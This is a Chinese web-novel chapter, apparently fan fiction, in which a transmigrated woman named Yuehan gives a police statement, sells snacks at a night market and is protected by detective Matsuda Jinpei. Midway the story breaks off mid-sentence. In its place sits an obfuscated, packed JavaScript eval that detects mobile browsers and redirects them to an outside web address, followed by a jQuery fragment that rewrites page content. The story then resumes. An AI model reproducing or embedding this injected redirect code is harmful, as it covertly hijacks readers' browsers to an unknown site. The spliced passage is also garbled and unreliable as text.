警署的走廊弥漫着淡淡的消毒水味,混合着纸张和油墨的气息,沉闷得让人喘不过气。玥涵跟在松田阵平身后,脚步有些虚浮,指尖无意识地攥紧。刚才在废弃工厂的对峙让她心有余悸,而此刻即将面对的身份核查,更是让她悬着一颗心——她拿不出任何能证明自己身份的东西,这份笔录,或许会让她陷入更尴尬的境地。


    “进去吧。”松田阵平推开笔录室的门,语气依旧是惯有的冰冷,听不出情绪。室内的灯光是刺眼的白炽灯,正对着桌子中央,将两人的影子清晰地投射在地面上。他示意玥涵坐在桌子一侧的椅子上,自己则拉开对面的椅子坐下,将笔录本和钢笔放在桌上,发出轻微的“啪嗒”声。


    玥涵坐下时,指尖不小心碰到了冰凉的桌面,猛地缩回手。她抬眼看向松田阵平,他正低头翻着笔录本,侧脸的线条在灯光下显得格外凌厉,长长的睫毛垂下,在眼睑下方投下一小片阴影,遮住了眼底的情绪。“姓名。”他没有抬头,笔尖落在纸上,发出清脆的摩擦声。


    “玥涵。”她的声音有些发紧,下意识地挺直了背脊。


    “国籍。”


    “华夏。”


    “来东京的目的,居住地址,担保人信息。”松田阵平终于抬起头,目光落在她脸上,锐利得仿佛能穿透她所有的伪装。


    玥涵的心跳骤然加速,手心渗出细密的冷汗。她抿了抿干涩的嘴唇,艰难地开口:“我……我刚到东京不久,还没有固定的居住地址,也没有担保人。来这里是为了……寻找亲戚,结果刚到就丢了所有东西。”她尽量让自己的语气显得真诚,眼神却不由自主地有些闪躲——这是她能想到的,最合理的借口。


    松田阵平的目光在她脸上停留了几秒,没有立刻说话。笔录室里陷入了死寂,只有窗外偶尔传来的车辆鸣笛声,打破这令人窒息的安静。玥涵能清晰地听到自己的心跳声,“咚咚”地响着,仿佛要跳出胸腔。她知道,自己的借口漏洞百出,只要松田阵平再追问几句,就可能露馅。


    就在她紧张得几乎要屏住呼吸时,松田阵平却收回了目光,重新低下头,继续在笔录本上记录着。“找到证物的具体过程,再详细说一遍。”他的语气依旧平淡,没有追问她身份的细节,像是默认了她的说法。


    玥涵心中一松,连忙按照之前编好的借口,详细描述了自己“路过废弃工厂时看到可疑人员藏东西,之后特意返回寻找”的过程。她语速平稳,尽量让自己的叙述听起来天衣无缝,偶尔抬头观察松田阵平的反应,却只看到他专注记录的侧脸,看不出丝毫情绪波动。


    十几分钟后,笔录终于结束。松田阵平放下钢笔,将笔录本推到她面前:“核对一下内容,如果没问题,在这里签字。”他的指尖不小心碰到了她的手背,两人都下意识地缩回了手。玥涵的脸颊瞬间升温,心跳漏了一拍,她慌忙低下头,拿起笔仔细核对笔录内容。


    内容和她刚才描述的一致,没有任何遗漏。她在签字栏写下自己的名字,字迹有些潦草,带着一丝不易察觉的紧张。签完字后,她将笔录本推回给松田阵平,声音细若蚊蚋:“好了。”


    松田阵平收起笔录本,站起身,语气平淡地说:“你的身份信息不全,无法录入系统。后续有需要,我们会再联系你。”


    这句话像一盆冷水,瞬间浇灭了玥涵心中刚刚升起的希望。她的肩膀猛地垮了下来,眼神黯淡下去,原本挺直的背脊也变得佝偻。她知道会是这样的结果,可亲耳听到从松田阵平口中说出来,还是忍不住感到失落和无助。“我知道了。”她的声音很轻,带着一丝不易察觉的委屈,“谢谢你……松田警官。”


    她站起身,慢慢走向门口,脚步沉重得像灌了铅。没有身份,就没有临时庇护所,今晚又要流落街头了。区役所的工作人员冰冷的语气、城管严肃的呵斥、小混混不怀好意的目光……一幕幕在她脑海中闪过,绝望像潮水般涌来,几乎要将她淹没。


    就在她的手即将触碰到门把手时,身后突然传来松田阵平的声音,依旧是淡淡的语气,却带着一丝不易察觉的柔和:“等等。”


    玥涵猛地停下脚步,惊喜地回头看向他,眼中满是疑惑。


    松田阵平没有看她,只是低头整理着桌上的文件,语速平稳地说:“区役所设有临时庇护所,专门接收你这种情况的外来人员。带上刚才的笔录证明,去那边报备,或许可以申请到临时住宿。”他顿了顿,补充道,“办理临时身份证明,除了担保人,也可以通过完成社区服务积累信用分,达到一定分数后,就能申请了。”


    玥涵的眼睛瞬间亮了起来,像被点亮的星辰。她不敢相信自己的耳朵,松田阵平竟然在帮她!这个平日里看起来冷冰冰、桀骜不驯的男人,竟然会用这种隐晦的方式,给她指了一条明路。一股暖流瞬间涌遍全身,驱散了心中的寒冷和绝望。


    “谢谢你,松田警官!真的……太谢谢你了!”她的声音带着一丝哽咽,眼中闪烁着泪光。这是她来到这个世界后,第一次感受到来自松田阵平的善意,这份善意虽然隐晦,却比任何帮助都让她感到温暖。


    松田阵平似乎有些不适应她的热情,避开了她的目光,拿起桌上的笔录本,转身走向门口:“只是例行提醒,不用谢。走吧,我带你去区役所报备。”他的耳根微微发红,却依旧装作若无其事的样子,率先走出了笔录室。


    玥涵连忙跟了上去,看着他挺拔的背影,嘴角不由自主地扬起一抹笑容。夕阳的余晖透过警署走廊的窗户照进来,在地面上投下斑驳的光影,将两人的影子拉得很长很长。空气中仿佛多了一丝微妙的暖意,驱散了之前的沉闷和压抑。


    两人并肩走在走廊上,没有说话,却并不觉得尴尬。玥涵偶尔偷偷看向松田阵平,发现他的侧脸在夕阳的映照下,少了几分平日里的桀骜,多了几分柔和。她的心跳渐渐加速,心中悄然埋下一颗种子——这个外冷内热的男人,似乎并没有表面上那么难以接近。


    走出警署大门,夕阳的光芒更加柔和,将天空染成了温暖的橙红色。松田阵平的警车就停在门口,他打开车门,示意玥涵上车。“上车吧,区役所离这里有点远,步行过去要很久。”


    临时庇护所的床位简陋却干净,硬邦邦的床垫铺着一层薄薄的棉絮,窗外是老旧居民区的巷道,深夜总能听到野猫的叫声和零星的车鸣。但对玥涵来说,这里已是绝境中的安稳——至少不用再担心风吹雨打,不用再在公园长椅上熬过漫漫长夜。松田阵平那句隐晦的提醒,像一把钥匙,为她撬开了生存的缝隙。


    清晨的闹钟还没响,玥涵就已经起床。她换上洗得发白的外套,揣着几个从便利店买的廉价饭团,早早赶到社区服务点。清理街道的落叶、帮独居老人采购生活用品、整理社区活动的资料,这些琐碎的工作没有任何技术含量,却能一点点积累信用分。她做得格外认真,指尖被扫帚磨出红痕也不在意,毕竟每一分努力,都是在为拿到临时身份证明铺路。


    社区里的独居老人大多温和,看到她勤快又细心,总会塞给她几颗水果或一块点心。有位姓山田的老奶奶,知道她是华夏人,还特意学做了华夏风味的糯米团,每次见到她都拉着她唠家常,用生硬的中文夹杂着日语,问她家乡的事情。玥涵坐在老奶奶的小院子里,吃着温热的糯米团,听着老人絮絮叨叨的叮嘱,心中泛起阵阵暖意。这份来自陌生人的善意,让她在这个陌生的城市里,渐渐找到了一丝归属感。


    傍晚时分,玥涵结束社区服务,匆匆赶往新宿夜市。她的小摊依旧支在那个僻静的角落,只是这次特意准备了一块小小的招牌,用中日双语写着“华夏小吃·馄饨·小笼包”。天色渐暗,夜市的灯笼次第亮起,暖黄的光晕裹着食物的香气,将整条街衬得格外热闹。她熟练地揉面、包馅,小笼包在铁板上滋滋作响,馄饨在沸水中翻滚,浓郁的香气很快吸引了不少回头客。


    “一份馄饨,打包。”熟悉的冷冽声线响起,玥涵抬头,撞进松田阵平深邃的眼眸里。他刚结束工作,警服外套搭在臂弯里,里面是干净的白色衬衫,领口微敞,带着一丝刚从忙碌中抽离的疲惫。玥涵的心跳莫名漏了一拍,连忙低下头,加快手上的动作:“好,马上就好。”


    她特意多煮了两个馄饨,装进纸碗里,又淋上一勺滚烫的高汤。递过去时,指尖不小心碰到他的手,两人都下意识地缩回了动作。玥涵的脸颊瞬间升温,不敢抬头看他,只听到他低沉的声音响起:“多少钱?”


    “不用了,”她小声说,“谢谢你之前的提醒,这碗我请你。”


    松田阵平没说话,直接将钱放在摊位上,拿起馄饨转身就要走。走到两步,又停下脚步,背对着她,语气平淡地丢下一句:“最近夜市有城管抽查,早点收摊。”说完,便融入了熙熙攘攘的人群中。


    玥涵看着他消失的方向,又看了看摊位上的钱,心中五味杂陈。这个男人总是这样,嘴上冷冰冰的,却总能在不经意间流露出温柔。她将钱小心翼翼地收好,心里暗暗记下他的提醒,加快了手上的动作。


    接下来的几天,松田阵平总会在下班时过来买一份小吃,有时是馄饨,有时是小笼包。他话不多,每次都是点单、付钱、离开,很少和她闲聊,但每次离开前,都会留下一句简短的提醒:“今晚有雨,记得带伞”“这条街晚上不太平,尽量走大路”。玥涵将这些提醒一一记


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007633|194076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在心里,每次听到他的声音,都会觉得格外安心。


    这天深夜,玥涵收拾好摊位,推着小推车往庇护所的方向走。已经是凌晨一点,夜市的热闹早已散去,街道上冷冷清清,只有路灯投下昏黄的光晕,将她的影子拉得很长。她加快脚步,心里盘算着明天要去社区服务点帮老奶奶打扫卫生,却没注意到身后有两个黑影正悄悄跟着她。


    走到一条僻静的小巷口,玥涵正准备转弯,脑海中突然响起系统尖锐的预警声:“危险预警!10米范围内存在人身安全威胁!”她的心脏瞬间提到了嗓子眼,猛地停下脚步,刚想转身,就被两个身材高大的男人拦住了去路。是之前在小巷里骚扰过她的那两个小混混!


    “哟,小美人,又遇到你了。”高个子混混吊儿郎当地靠在墙上,眼神贪婪地扫过玥涵,“上次让你跑了,这次我看你往哪儿躲!”矮个子混混搓着手,一步步逼近:“把你摆摊赚的钱交出来,再陪我们玩玩,不然就别怪我们不客气!”


    玥涵吓得浑身发颤,下意识地后退了一步,紧紧攥住手中的推车把手。她环顾四周,小巷里空无一人,呼救声根本不会有人听到。恐惧像潮水般涌来,她的大脑飞速运转,却想不出任何脱身的办法。就在矮个子混混伸手要抓她胳膊的时候,一个熟悉的身影突然从巷口冲了进来,动作利落得像一阵风。


    “砰!”一声闷响,高个子混混还没反应过来,就被一拳打倒在地。松田阵平站在玥涵身前,像一堵坚实的墙,将她护在身后。他身上还穿着警服,显然是刚结束加班路过这里。“警察!”他的声音冷冽如冰,眼神锐利得像刀,“不想坐牢就赶紧滚!”


    两个小混混看到警服,瞬间慌了神,爬起来就往巷外跑,很快就消失在夜色中。危险解除,玥涵紧绷的身体瞬间垮了下来,双腿发软,差点摔倒。松田阵平察觉到她的异样,转身扶住她的胳膊,语气带着一丝不易察觉的关切:“没事吧?”


    玥涵摇摇头,眼眶却不受控制地发红,眼泪在眼眶里打转。刚才的恐惧还没散去,劫后余生的庆幸和对松田阵平的感激交织在一起,让她一时说不出话来。“我没事,谢谢你……又救了我。”她的声音带着一丝哽咽。


    松田阵平的目光落在她推车里剩下的几个小笼包上,眉头微微皱起:“还没吃饭?”玥涵点点头,她今天忙着出摊,只在中午吃了一个饭团,现在早已饥肠辘辘。松田阵平没说话,拉起她的推车,语气不容置疑:“走吧,去我那里。”


    玥涵愣了一下,下意识地想拒绝,却被他坚定的眼神拦住。她只能乖乖跟上,看着他挺拔的背影,心中泛起阵阵暖意。松田阵平的公寓离这里不远,是一栋安静的小高层。打开门,一股淡淡的消毒水味混合着阳光的气息扑面而来。公寓很小,却收拾得一丝不苟,家具摆放整齐,地板干净得能反光,看得出来主人很爱整洁。


    “你坐在这里等一下。”松田阵平指了指客厅的沙发,然后拉起推车走进了厨房。玥涵坐在沙发上,有些拘谨地环顾四周。客厅的墙上挂着一幅简单的风景画,茶几上放着一本翻开的推理小说,旁边还有一个没喝完的咖啡杯。这里的一切都很简单,却透着一种安稳的生活气息。


    厨房里传来水流声和厨具碰撞的声音。玥涵悄悄走过去,靠在厨房门口,看到松田阵平正笨拙地系着围裙。他的动作有些僵硬,显然不常做饭。他从冰箱里拿出鸡蛋和面条,先往锅里倒了水,等水烧开后,小心翼翼地将面条放进去,又磕了两个鸡蛋,笨拙地煎成荷包蛋。


    几分钟后,一碗热气腾腾的面条端了出来,放在餐桌上。面条上卧着两个金黄的荷包蛋,还撒了少许葱花,香气扑鼻。“先吃点垫垫肚子。”松田阵平将筷子递给她,语气依旧平淡,耳根却微微发红,显然有些不自在。


    玥涵拿起筷子,小口小口地吃着面条。温热的面条滑进胃里,驱散了深夜的寒冷和饥饿,更带来了一种前所未有的温暖。这是她来到这个世界后,第一次吃到有人特意为她做的饭,带着浓浓的人情味。眼泪忍不住掉了下来,滴在碗里,晕开小小的涟漪。


    松田阵平看到她落泪,瞬间慌了神,手足无措地从口袋里掏出纸巾,递到她面前:“别哭……是不是不好吃?”他的语气带着一丝慌乱,和平时的冷静截然不同。


    玥涵摇摇头,哽咽着说:“很好吃,谢谢你。”她抬起头,泪眼婆娑地看着他,眼中满是感激。松田阵平避开她的目光,耳根更红了,他咳嗽了一声,从抽屉里拿出一张纸和一支笔,写下一串数字,递给她:“这是我的私人手机号。以后再遇到这种事,给我打电话。”


    玥涵小心翼翼地接过纸条,紧紧攥在手心。